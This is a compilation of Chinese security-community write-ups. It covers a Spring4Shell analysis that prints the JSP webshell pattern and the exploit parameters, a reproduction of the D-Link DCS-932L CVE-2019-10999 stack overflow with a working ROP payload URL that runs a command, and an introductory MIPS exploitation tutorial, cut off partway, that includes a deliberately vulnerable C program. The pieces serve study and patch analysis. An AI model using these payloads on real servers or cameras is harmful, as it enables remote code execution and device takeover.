经过一系列的调用逻辑后，我们来到AbstractNestablePropertyAccessor第814行，getPropertyAccessorForPropertyPath(String)方法。该方法通过递归调用自身，实现对class.module.classLoader.resources.context.parent.pipeline.first.pattern的递归解析，设置整个调用链。
我们重点关注第820行，AbstractNestablePropertyAccessor nestedPa =
getNestedPropertyAccessor(nestedProperty);，该行主要实现每层嵌套参数的获取。我们在该行设置断点，查看每次递归解析过程中各个变量的值，以及如何获取每层嵌套参数。
第一轮迭代
进入getPropertyAccessorForPropertyPath(String)方法前：
· this：User的BeanWrapperImpl包装实例
·
propertyPath：class.module.classLoader.resources.context.parent.pipeline.first.pattern
·
nestedPath：module.classLoader.resources.context.parent.pipeline.first.pattern
· nestedProperty：class，即本轮迭代需要解析的嵌套参数
进入方法，经过一系列的调用逻辑后，最终来到BeanWrapperImpl第308行，BeanPropertyHandler.getValue()方法中。可以看到class嵌套参数最终通过反射调用User的父类java.lang.Object.getClass()，获得返回java.lang.Class实例。
getPropertyAccessorForPropertyPath(String)方法返回后：
· this：User的BeanWrapperImpl包装实例
·
propertyPath：class.module.classLoader.resources.context.parent.pipeline.first.pattern
·
nestedPath：module.classLoader.resources.context.parent.pipeline.first.pattern，作为下一轮迭代的propertyPath
· nestedProperty：class，即本轮迭代需要解析的嵌套参数
· nestedPa：java.lang.Class的BeanWrapperImpl包装实例，作为下一轮迭代的this
经过第一轮迭代，我们可以得出第一层调用链：
User.getClass()
java.lang.Class.get???() // 下一轮迭代实现
第二轮迭代
module嵌套参数最终通过反射调用java.lang.Class.getModule()，获得返回java.lang.Module实例。
经过第二轮迭代，我们可以得出第二层调用链：
User.getClass()
java.lang.Class.getModule()
java.lang.Module.get???() // 下一轮迭代实现
第三轮迭代
classLoader嵌套参数最终通过反射调用java.lang.Module.getClassLoader()，获得返回org.apache.catalina.loader.ParallelWebappClassLoader实例。
经过第三轮迭代，我们可以得出第三层调用链：
User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.get???() // 下一轮迭代实现
接着按照上述调试方法，依次调试剩余的递归轮次并观察相应的变量，最终可以得到如下完整的调用链：
User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
org.apache.catalina.webresources.StandardRoot.getContext()
org.apache.catalina.core.StandardContext.getParent()
org.apache.catalina.core.StandardHost.getPipeline()
org.apache.catalina.core.StandardPipeline.getFirst()
org.apache.catalina.valves.AccessLogValve.setPattern()
可以看到，pattern参数最终对应AccessLogValve.setPattern()，即将AccessLogValve的pattern属性设置为%{c2}i
if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream in =
%{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a
= -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new
String(b)); } } %{suffix}i，也就是access_log的文件内容格式。
我们再来看pattern参数值，除了常规的Java代码外，还夹杂了三个特殊片段。通过翻阅AccessLogValve的父类AbstractAccessLogValve的源码，可以找到相关的文档：
即通过AccessLogValve输出的日志中可以通过形如%{param}i等形式直接引用HTTP请求和响应中的内容。完整文档请参考文章末尾的参考章节。
结合poc.py中headers变量内容：
headers = {“suffix”:”%>//“,
“c1”:”Runtime”,
“c2”:”<%”,
“DNT”:”1”,
“Content-Type”:”application/x-www-form-urlencoded”
}
最终可以得到AccessLogValve输出的日志实际内容如下（已格式化）：
<%
if(“j”.equals(request.getParameter(“pwd”))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(“cmd”)).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
}
%>//
很明显，这是一个JSP webshell。这个webshell输出到了哪儿？名称是什么？能被直接访问和正常解析执行吗？我们接下来看其余的参数。
**3.1.2 suffix参数**
· 参数名：class.module.classLoader.resources.context.parent.pipeline.first.suffix
· 参数值：.jsp
按照pattern参数相同的调试方法，suffix参数最终将AccessLogValve.suffix设置为.jsp，即access_log的文件名后缀。
**3.1.3 directory参数**
·
参数名：class.module.classLoader.resources.context.parent.pipeline.first.directory
· 参数值：webapps/ROOT
按照pattern参数相同的调试方法，directory参数最终将AccessLogValve.directory设置为webapps/ROOT，即access_log的文件输出目录。
这里提下webapps/ROOT目录，该目录为Tomcat
Web应用根目录。部署到目录下的Web应用，可以直接通过[http://localhost:8080/根目录访问。](http://localhost:8080/%E6%A0%B9%E7%9B%AE%E5%BD%95%E8%AE%BF%E9%97%AE%E3%80%82)
**3.1.4 prefix参数**
· 参数名：class.module.classLoader.resources.context.parent.pipeline.first.prefix
· 参数值：tomcatwar
按照pattern参数相同的调试方法，prefix参数最终将AccessLogValve.prefix设置为tomcatwar，即access_log的文件名前缀。
**3.1.5 fileDateFormat参数**
·
参数名：class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
· 参数值：空
按照pattern参数相同的调试方法，fileDateFormat参数最终将AccessLogValve.fileDateFormat设置为空，即access_log的文件名不包含日期。
**3.1.6 总结**
至此，经过上述的分析，结论非常清晰了：通过请求传入的参数，利用SpringMVC参数绑定机制，控制了Tomcat
AccessLogValve的属性，让Tomcat在webapps/ROOT目录输出定制的“访问日志”tomcatwar.jsp，该“访问日志”实际上为一个JSP
webshell。
在SpringMVC参数绑定的实际调用链中，有几个关键点直接影响到了漏洞能否成功利用。
### 3.2 漏洞利用关键点
**3.2.1 关键点一：Web应用部署方式**
从java.lang.Module到org.apache.catalina.loader.ParallelWebappClassLoader，是将调用链转移到Tomcat，并最终利用AccessLogValve输出webshell的关键。
ParallelWebappClassLoader在Web应用以war包部署到Tomcat中时使用到。现在很大部分公司会使用SpringBoot可执行jar包的方式运行Web应用，在这种方式下，我们看下classLoader嵌套参数被解析为什么，如下图：
可以看到，使用SpringBoot可执行jar包的方式运行，classLoader嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader，查看其源码，没有getResources()方法。具体源码请参考文章末尾的参考章节。
这就是为什么本漏洞利用条件之一，Web应用部署方式需要是Tomcat war包部署。
**3.2.2 关键点二：JDK版本**
在前面章节中AbstractNestablePropertyAccessor nestedPa =
getNestedPropertyAccessor(nestedProperty);调用的过程中，实际上Spring做了一道防御。
Spring使用org.springframework.beans.CachedIntrospectionResults缓存并返回Java
Bean中可以被BeanWrapperImpl使用的PropertyDescriptor。在CachedIntrospectionResults第289行构造方法中：
该行的意思是：当Bean的类型为java.lang.Class时，不返回classLoader和protectionDomain的PropertyDescriptor。Spring在构建嵌套参数的调用链时，会根据CachedIntrospectionResults缓存的PropertyDescriptor进行构建：
不返回，也就意味着class.classLoader…这种嵌套参数走不通，即形如下方的调用链：
Foo.getClass()
java.lang.Class.getClassLoader()
BarClassLoader.getBaz()
……
这在JDK<=1.8都是有效的。但是在JDK
1.9之后，Java为了支持模块化，在java.lang.Class中增加了module属性和对应的getModule()方法，自然就能通过如下调用链绕过判断：
Foo.getClass()
java.lang.Class.getModule() // 绕过
java.lang.Module.getClassLoader()
BarClassLoader.getBaz()
……
这就是为什么本漏洞利用条件之二，JDK>=1.9。
## 四、补丁分析
### 4.1 Spring 5.3.18补丁
通过对比Spring 5.3.17和5.3.18的版本，可以看到在3月31日有一项名为“Redefine PropertyDescriptor
filter的”提交。
进入该提交，可以看到对CachedIntrospectionResults构造函数中Java
Bean的PropertyDescriptor的过滤条件被修改了：当Java
Bean的类型为java.lang.Class时，仅允许获取name以及Name后缀的属性描述符。在章节3.2.2
关键点二：JDK版本中，利用java.lang.Class.getModule()的链路就走不通了。
### 4.2 Tomcat 9.0.62补丁
通过对比Tomcat 9.0.61和9.0.62的版本，可以看到在4月1日有一项名为“Security hardening. Deprecate
getResources() and always return null.”提交。
进入该提交，可以看到对getResources()方法的返回值做了修改，直接返回null。WebappClassLoaderBase即ParallelWebappClassLoader的父类，在章节3.2.1
关键点一：Web应用部署方式中，利用org.apache.catalina.loader.ParallelWebappClassLoader.getResources()的链路就走不通了。
## 五、思考
通过将代码输出到日志文件，并控制日志文件被解释执行，这在漏洞利用方法中也较为常见。通常事先往服务器上写入包含代码的“日志”文件，并利用文件包含漏洞解释执行该“日志”文件。写入“日志”文件可以通过Web服务中间件自身的日志记录功能顺带实现，也可以通过SQL注入、文件上传漏洞等曲线实现。
与上文不同的是，本次漏洞并不需要文件包含。究其原因，Java Web服务中间件自身也是用Java编写和运行的，而部署运行在上面的Java
Web应用，实际上是Java Web服务中间件进程的一部分，两者间通过Servlet
API标准接口在进程内部进行“通讯”。依靠Java语言强大的运行期反射能力，给予了攻击者可以通过Java Web应用漏洞进而攻击Java
Web服务中间件的能力。也就是本次利用Web应用自身的Spring漏洞，进而修改了Web服务中间件Tomcat的access_log配置内容，直接输出可执行的“日志”文件到Web
应用目录下。
在日常开发中，应该严格控制Web应用可解释执行目录为只读不可写，日志、上传文件等运行期可以修改的目录应该单独设置，并且不可执行。
本次漏洞虽然目前调用链中仅利用到了Tomcat，但只要存在一个从Web应用到Web服务中间件的class.module.classLoader….合适调用链，理论上Jetty、Weblogic、Glassfish等也可利用。另外，目前通过写入日志文件的方式，也可能通过其它文件，比如配置文件，甚至是内存马的形式出现。
本次漏洞目前唯一令人“欣慰”的一点是，仅对JDK>=1.9有效。相信不少公司均为“版本任你发，我用Java
8！”的状态，但这也仅仅是目前。与其抱着侥幸心理，不如按计划老老实实升级Spring。
同Log4jShell中的Log4j2一样，Spring框架几乎是一个类似JDK级别的基础类库，即便自身应用程序里完成了升级，但仍有极其庞大的其它框架、中间件，导致升级工作同样极为困难。绝大部分公司采取的方案是在边界防护设备上使用“临时补丁”的方式。同时，大量bypass方法也随之而来，这将是一个漫长的过程。
“临时补丁”意味着无法根除，而底层依赖的升级又极为耗时，那么，如何更好地发现并规避在此期间产生的风险呢？<https://www.jidun.cn/product/xice>
## 参考
· Tomcat
access_log配置参考文档：<https://tomcat.apache.org/tomcat-9.0-doc/config/valve.html#Access_Logging>
· Spring 5.3.17和5.3.18版本比较：[https://github.com/spring-projects/spring-framework/compare/v5.3.17…v5.3.18](https://github.com/spring-projects/spring-framework/compare/v5.3.17...v5.3.18)
· Spring 5.3.18补丁提交内容：<https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15>
· Tomcat
9.0.61和9.0.62版本比较：[https://github.com/apache/tomcat/compare/9.0.61…9.0.62](https://github.com/apache/tomcat/compare/9.0.61...9.0.62)
· Tomcat
9.0.62补丁提交内容：<https://github.com/apache/tomcat/commit/8a904f6065080409a1e00606cd7bceec6ad8918c>
· LaunchedURLClassLoader源码：<https://github.com/spring-projects/spring-boot/blob/main/spring-boot-project/spring-boot-tools/spring-boot-loader/src/main/java/org/springframework/boot/loader/LaunchedURLClassLoader.java> | 社区文章 |
## 前言
记录在复现CVE-2019-10999时踩的坑。
## 漏洞信息
<https://github.com/fuzzywalls/CVE-2019-10999>
该漏洞存在于Dlink DCS-93xL、DCS-50xxL系列摄像头的所有固件版本中。
在设备的alphapd服务中，wireless.htm
在将其显示给用户之前进行处理。如果在URL中提供WEPEncryption的值，它会把用户传入的值copy到定义的buf中，但没有进行长度判断，存在缓冲区溢出漏洞，攻击者可利用其来执行任意命令。
## 漏洞复现
拿到固件，解包（本文测试用固件为DCS-932L v1.14.04）。
IDA加载alphapd程序，定位到漏洞函数，可溢出buf和返回地址ra之间相差0x28个字节：
为了把alphapd服务跑起来便于调试利用。而在模拟运行alphapd服务时，缺少NVRAM，无法获取其运行时的配置信息。
可以用nvram-faker构建一个库，使用LD_PRELOAD劫持对libnvram库中的函数调用，从而使用nvram-faker提供的ini配置文件。
git clone https://github.com/zcutlip/nvram-faker.git
在原始固件中查找默认配置值：
grep -rin --color "SecondHTTPPortEnable"
导入到nvram.ini文件：
cat etc_ro/Wireless/RT2860AP/RT2860_default_vlan > nvram.ini
cp nvram.ini ~/nvram-faker
编译库文件：
./buildmipsel.sh
将编译好后的libnvram-faker.so和nvram.ini文件复制到固件根目录后, qemu模拟运行alphad服务，优先加载libnvram-faker.so库：
sudo chroot . ./qemu-mipsel-static -E LD_PRELOAD="./libnvram-faker.so" /bin/alphapd
会报错没有pid文件：
在cpio-root/var/文件夹下创建/run/alphapd.pid文件就行。
之后又报错说先启动nvram_daemon，在ida能看到调用了nvramd.pid文件，同理在/var/run下创建nvramd.pid文件就行。
为了在更真实的环境下运行alphapd，我搭建了一个[debian mipsel环境](https://shadow-file.blogspot.com/2013/05/running-debian-mips-linux-in-qemu.html)，在其中模拟alphapd服务：
chroot . /bin/alphapd -E LD_PRELOAD=libnvram-faker.so
能成功启动alphapd，但无法创建RSA密钥：
openssl官网说是缺少urandom,random设备而导致的问题。自己创建这两个设备:
sudo chroot . /bin/mknod -m 0666 /dev/random c 1 8
sudo chroot . /bin/mknod -m 0666 /dev/urandom c 1 9
无法写入'random state':
没有设置RANDFILE和HOME环境变量。创建一个空的.rnd文件，并设置环境变量：
touch .rnd
export HOME=.
export RANDFILE=$HOME/.rnd
获取不到ip地址：
在IDA中定位到这一段：
它是在getSysInfoLong中通过gpio设备接口来获取ip的…然而模拟环境并没有这个接口…
没办法只好强行改，让它直接跳到下面：
跳过之后会默认在0.0.0.0地址在运行：
可成功访问网页：
ok，来试试传入我们的payload。传入0x28个A，和0x4个B来尝试覆盖返回地址
http://0.0.0.0/wireless.htm?WEPEncryption=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
然而在1.14以上的高版本中，不能直接输入url进入页面，会返回403。只能从主页面点进去：
那么要把WEPEncryption参数值传进去就不能直接输ulr了。
但我们可以通过在web开发者工具中更改Request来传：
用gdbserver挂载到4444端口上：
gdbserver --attach 0.0.0.0:4444 1163
记得在debian虚拟机的启动脚本中添加几个端口转发，方便本机加载调试：
IDA加载调试，更改request传入我们的payload，可以看到成功覆盖到了ra:
既然我们可以控制返回地址以及S0-S5的寄存器值了，那么就可以利用它们跳转到system来执行任意命令。
查看alphapd调用的lib库，可以获取其基址0x77ed3000：
在libuClibc-0.9.28.so中找到system地址0x0004BD20：
那么当其加载到内存中时的地址就是：0x0004BD20 + 0x77ed3000 = 0x77f1ed20
接下来就需要找有用的rop gadget来获取栈地址，并跳转到system函数传入任意命令了。
用ida的[mipsrop](http://www.devttys0.com/2013/10/mips-rop-ida-plugin/)插件来找rop
gadget：
在使用mipsrop时，偶尔会出现out of range的情况：
定位到其源码的393行，自己打个补丁，加了个不为空的判断：
for xref in idautils.XrefsTo(idc.LocByName('system')):
ea = xref.frm
- if ea >= start_ea and ea <= end_ea and idc.GetMnem(ea)[0] in ['j', 'b']:
a0_ea = self._find_next_instruction_ea(ea+self.INSIZE, stack_arg_zero, ea+self.INSIZE)
for xref in idautils.XrefsTo(idc.LocByName('system')):
ea = xref.frm
+ if ea >= start_ea and ea <= end_ea and len(idc.GetMnem(ea)) > 0 and idc.GetMnem(ea)[0] in ['j', 'b']:
a0_ea = self._find_next_instruction_ea(ea+self.INSIZE, stack_arg_zero, ea+self.INSIZE)
使用下面的这个rop gadget：
.text:00050DE4 addiu $s2, $sp, 0x1E8+var_F8
.text:00050DE8 move $a0, $s2
.text:00050DEC move $t9, $s0
.text:00050DF0 jalr $t9 ; sub_505D0
获取栈地址存入s2，偏移为0x1e8 - 0xf8 =
0xf0。将s0存入t9，然后跳转到t9指向的地址。也就是将system地址存入s0的话就能跳转到system函数了。
最终的利用流程为：
* 返回地址ra覆盖为rop gadget地址（0x00050DE4 + 0x77ed3000 = 0x77f23de4）
* 跳转到我们构造的rop链中
* s0覆盖为system地址（0x77f1ed20）
* 跳转到system函数中，并传入我们构造的字符串命令
构造url：
http://0.0.0.0:18080/wireless.htm?WEPEncryption=AAAAAAAAAAAAAAAA%20%ed%f1%77AAAAAAAAAAAAAAAAAAAA%e4%3d%f2%77AAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBreboot
为了验证结果，我们想看到lib库函数调用的结果就需要用到gdb调试。安装gdb的pwndbg插件（peda对mips的支持不行，装了之后也不会显示栈信息）：
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
安装时会报错：
原因是unicorn不支持用python3编译…那就自己装吧：
UNICORN_QEMU_FLAGS="--python=/usr/bin/python2.7" pip install unicorn
安装好unicorn后再运行下setup.sh就行了，虽然还会报那个错不用管。
用gdb附加调试，在system函数断下：
可以看到成功传入了参数'reboot'，执行成功：
结果说到底还是搭环境坑啊orz……
# 实机攻击测试
闲鱼淘了个二手的dcs932L来玩，试试我们的payload能不能打进去。
经过测试发现，其最早的固件版本1.0里的开机脚本里居然开了telnetd服务，并且在其web.sh里发现它的web服务程序是goahead:
这个goahead程序应该就是alphapd的原始版本了，在同样的位置也能找到这个漏洞：
telnet连进去看看，可以找到goahead加载的库基址：
拿到库基址，和之前一样构造ulr，可以成功执行我们传入的命令：
?WEPEncryption=AAAAAAAAAAAAAAAA%20%ad%b3%2aAAAAAAAAAAAAAAAAAAAA%e4%fd%b3%2aBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBreboot
但是在高版本的固件中就不会那么好心给你开telnet了，想要进shell找它的库基址也没这么简单了（虽然我测过之后才发现它们所有固件版本的web服务加载库基址都是一样的=
=）
拆开找到四个超小的串口焊点，拿几根比较细的铜丝焊上，连接TTL进行调试：
打开串口调试工具，选择合适串口和波特率，就可以进入shell找它加载的库基址了：
构造url，可成功传入命令： | 社区文章 |
# Mips架构下漏洞分析入门
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Mips架构下二进制漏洞入门笔记，最后调试TP-LINK路由器的一个栈溢出漏洞作为练习。内容较多，请耐心阅读。
## 环境搭建
搭建环境：Ubuntu
**工具安装**
SquashFS：用于Linux内核的只读文件系统
sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
sudo git clone https://github.com/devttys0/sasquatch
cd sasquatch && sudo ./build
Binwalk:貌似是目前唯一可靠的解bin包的工具。
sudo apt-get install binwalk
Ghidra:NAS开源的反汇编工具
安装java环境，直接运行ghidraRun.bat(Windows)或者ghidraRun(Linuxs / Mac
OS)，中途会要求jdk路径（/usr/libexec/java_home -V 获取jdk路径）
sudo ./ghidraRun
[官网下载](https://www.ghidra-sre.org/)
简单体验了一下这个工具，比起IDA这个工具在函数和变量自动命名上更加有条理，并且反汇编和伪代码自动对应功能用起来也更方便。最重要的是可以反汇编Mips！
**环境安装**
Qemu安装
sudo apt-get install qemu
交叉编译环境buildroot
sudo apt-get install libncurses5-dev patch
wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2
tar -jxvf buildroot-snapshot.tar.bz2
cd buildroot/
make clean
make menuconfig
sudo make
进入menuconfig之后，选择目标架构Mips32（需要注意mips包含大端mips和小端mipsel）。配置结束之后使用make编译工具链即可。
安装完成之后设置环境变量，在/etc/profile结尾加上
export PATH=$PATH:/.../buildroot/output/host/bin;
**编译第一个mips程序**
#include<stdio.h>
#include <stdlib.h>
#include <string.h>
void backdoor(){
system("/bin/sh");
}
void has_stack(char *src)
{
char dst[20]={0};
strcpy(dst,src);
printf("copy successfully");
}
void main(int argc,char *argv[])
{
has_stack(argv[1]);
}
默认编译小端程序。注意需要加`-static` **静态编译** ，因为我们qemu运行环境并没有包含C标准库。
$ mipsel-linux-gcc vuln.c -o vuln -static
$ file vuln
vuln: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, not stripped
编译大端程序。需要加-EB参数，但是仅仅加-EB会导致ld报错，主要原因是ld也需要加-EB参数。所以我们需要编译和链接分开。如果要编译成共享库，上下加上-shared参数。（ld时还是存在问题）
$ mipsel-linux-gcc -EB -c -static vuln.c -o vuln.o
$ mipsel-linux-ld vuln.o -EB -o vuln
使用qemu-mipsel运行我们的小端程序
$ qemu-mipsel vuln "123"
copy successfully
大端程序可以用H4lo师傅的工具链构造mips[编译环境](https://gitee.com/h4lo1/HatLab_Tools_Library/tree/master/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/cross_compile%E7%8E%AF%E5%A2%83),在里面找到了用apt就能直接安装的交叉编译工具链，以后也不用自己编译了！
sudo apt-get install linux-libc-dev-mipsel-cross
sudo apt-get install libc6-mipsel-cross libc6-dev-mipsel-cross
sudo apt-get install binutils-mipsel-linux-gnu
sudo apt-get install gcc-${VERSION}-mipsel-linux-gnu g++-${VERSION}-mips-linux-gnu
用mips-linux-gnu-gcc编译大端程序
$ mips-linux-gnu-gcc vuln.c -o vuln -static
$ file vuln
vuln: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a940ead4f05cbe960bbd685229c01695ef7cea38, not stripped
**（*）Qemu运行Mips Linux内核**
<https://people.debian.org/~aurel32/qemu/mips/> 下载两个包
vmlinux内核文件和debian镜像（建议挂代理，否则很慢），建议使用3.2版本内核，老版本内核在gdbserver远程调试时会出现一些问题。并且请注意你下载的是mips还是mipsel版本。
#wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
使用qemu运行mips debian，账号和密码都是root。
Qemu有主要如下两种运作模式，User Mode和System Mode。
Qemu系统模式命令如下
$ sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:0c:29:ee:39:39 -net tap -nographic
**调试路由器固件的运行环境**
测试固件版本：:DIR-605L A1 FW v1.13 [下载地址](https://tsd.dlink.com.tw/ddgo)
首先用binwalk解包官网下载的固件DIR605LA1_FW113b06.bin
binwalk -e DIR605LA1_FW113b06.bin
搜索boa（web服务程序）并且使用qemu-mips运行。首先复制qemu-mips到当前目录，然后用chroot设置根目录，然后用qemu-mips运行boa。不过出现了Not a direcotry的问题，这里需要用qemu-mips-static来运行。
$ cp $(which qemu-mips) ./
$ sudo chroot qemu-mips ./squashfs-root-0/bin/boa
chroot: cannot change root directory to 'qemu-mips': Not a directory
安装qemu-mips-static
sudo apt-get install qemu binfmt-support qemu-user-static
改用qemu-mips-static运行
/squashfs-root-0$ cp $(which qemu-mips) ./
/squashfs-root-0$ sudo chroot . ./qemu-mips-static ./bin/boa
Initialize AP MIB failed!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault (core dumped)
运行web服务的/bin/boa程序发生段错误，提示`Initialize AP MIB failed!`
通过file文件和你想分析，我们可以知道boa文件动态链接到uclibc链接库，uclibc是应用于嵌入式设备的一种小型C运行库，free和malloc的实现和glibc有一定区别，利用手法也有一些不同，当然这是后话暂且不表。
$ file ./bin/boa
./bin/boa: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, corrupted section header size
在Ghidra中搜索`Initialize AP MIB
failed!`,当apmid_init()执行失败了之后就会返回0，导致Web服务启动失败。经过分析apmid_init()来自于动态链接库apmid.so，来自文件根目录下的lib文件夹。又因为,apmid_init()对于我们的测试并没有决定性影响，所以可以考虑用hook的方式，强制让apmid_init()函数值返回1。
iVar1 = apmib_init();
if (iVar1 == 0) {
puts("Initialize AP MIB failed!");
}
使用[LD_PRELOAD](https://www.cnblogs.com/net66/p/5609026.html)来Hook函数，首先编写如下代码，并且编译成动态共享库。
#include<stdio.h>
#include<stdlib.h>
int apmib_init()
{
printf("hook apmib_init()\n");
return 1;
}
mips-linux-gnu-gcc -Wall -fPIC -shared apmib.c -o apmib-ld.so
> -fPIC 作用于编译阶段，告诉编译器产生与位置无关代码(Position-Independent Code)，
> 则产生的代码中，没有绝对地址，全部使用相对地址，故而代码可以被加载器加载到内存的任意
> 位置，都可以正确的执行
运行时设置环境变量LD_PRELOAD(优先加载)=”/apmib-ld.so”，但是运行又出了一点问题。
$ sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="./apmib-ld.so" ./bin/boa
./bin/boa: can't load library 'libc.so.6'
默认链接库名为libc.so.6，所以我们这里尝试去复制uclibc的libc.so.0，再次运行，发现hook成功了。当然我发现使用LD_PRELOAD=”libc.so.0”参数也可以解决问题。这里大家可以举一反三一下，思考如何将动态链接的mips
elf（我们之前都是编译的静态链接程序）通过qemu的user mode运行起来？
cp lib/libc.so.0 lib/libc.so.6
$ sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="./apmib-ld.so" ./bin/boa
hook apmib_init()
Create chklist file error!
Create chklist file error!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault (core dumped)
或者
sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="./libc.so.0 ./apmib-ld.so" ./bin/boa
不过还是报了两个错，接下来只需要按照原理的思路，继续去分析，写出最终的链接库版本。
#include<stdio.h>
#include<stdlib.h>
#define MIB_IP_ADDR 170
#define MIB_HW_VER 0x250
#define MIB_CAPTCHA 0x2c1
int apmib_init()
{
printf("hook apmib_init()\n");
return 1;
}
int fork(void)
{
return 0;
}
void apmib_get(int code,int* value)
{
switch(code)
{
case MIB_HW_VER:
*value = 0xF1;
break;
case MIB_IP_ADDR:
*value = 0x7F000001;
break;
case MIB_CAPTCHA:
*value = 1;
break;
}
return;
}
[QEMU chroot进行本地固件调试](https://cloud.tencent.com/developer/article/1552161)
**漏洞相关**
**pwntools**
是一个CTF框架和漏洞利用开发库。它是用Python编写的，旨在用于快速原型开发和开发，旨在使漏洞利用程序编写尽可能简单。[pwntools官网](http://docs.pwntools.com/en/stable/index.html)
**Gdb-Multiarch** :能够调试多个架构（包括Mips）的gdb调试工具
apt-get install gdb-multiarch
安装peda插件
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
安装pwndbg插件，安装完成之后进入vim ~/.gdbinit将修改插件为pwndbg
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
**gdbserver（mips）**
可以自己编译mips版本的也可以下载别人编译好的[mips版本gdbserver](https://github.com/rapid7/embedded-tools)。
git clone https://github.com/rapid7/embedded-tools.git
git clone https://github.com/hugsy/gdb-static
git cloen https://github.com/akpotter/embedded-toolkit
**qemu和gdb调试**
用户模式调试
$ qemu-mipsel -g 9000 vuln
$ gdb-multiarch -q
(gdb) target remote 127.0.0.1:9000
**gdb命令**
因为mips架构下peda插件无法正常运行，所以需要复习一下gdb的一些基础命令
break 下断点
delete 删除断点
continue 运行到下一个断点
backtrace 回溯堆栈调用信息
info 输出信息 比如 info f输出frame信息，info locals输出当前栈所有局部变量 info registers输出寄存器内容
输出命令x/20i
输出数据（64位格式）x/20xw
输出数据（32位格式）x/20xg
**[ROPgadgets](https://github.com/JonathanSalwan/ROPgadget)**
$ git clone https://github.com/JonathanSalwan/ROPgadget.git && cd ROPgadget
$ sudo pip install capstone
$ python setup.py install
$ ROPgadget
**[Mipsrop](https://github.com/tacnetsol/ida/blob/master/plugins/mipsrop/mipsrop.py)**
将下载好的python脚本放入ida的plugins目录
https://github.com/tacnetsol/ida/blob/master/plugins/mipsrop/mipsrop.py
https://github.com/SeHwa/mipsrop-for-ida7 #ida7
## MIPS指令集
**简介：MIPS**
是一种采取精简指令集（RISC）的指令集架构，是一种高性能的嵌入式CPU架构，广泛被使用在许多电子产品、网络设备、个人娱乐设备与商业设备上（比如龙芯），在路由器领域也被广泛应用。
**Mips常用命令**
命令 | 格式 | 用途
---|---|---
lw | lw R1, 0(R2) | 从存储器中读取一个word存储（Load）到register中
sw | sw R1, 0(R2) | 把一个word从register中存储（store）到存储器中
addiu | addiu R1,R2,#3 | 将一个立即数#3加上R2内容之后存放到目标地址R1
or | or R1,R2,R3 | 两个寄存器内容相或
jalr | jalr R1 | 使用寄存器的跳转指令
这里只列举了部分比较典型的几类指令，不过已经足够理解Mips的栈溢出了。
**Mips下寄存器的功能**
REGISTER | NAME | USAGE
---|---|---
`$0` | `$zero` | 常量0(constant value 0)
`$1` | `$at` | 保留给汇编器(Reserved for assembler)
`$2-$3` | `$v0-$v1` | 函数调用返回值(values for results and expression evaluation)
`$4-$7` | `$a0-$a3` | 函数调用参数(arguments)
`$8-$15` | `$t0-$t7` | 暂时的(或随便用的)
`$16-$23` | `$s0-$s7` | 保存的(或如果用，需要SAVE/RESTORE的)(saved)
`$24-$25` | `$t8-$t9` | 暂时的(或随便用的)
`$28` | `$gp` | 全局指针(Global Pointer)
`$29` | `$sp` | 堆栈指针(Stack Pointer)
`$30` | `$fp` | 帧指针(Frame Pointer)
`$31` | `$ra` | 返回地址(return address)
**MIPS特点：**
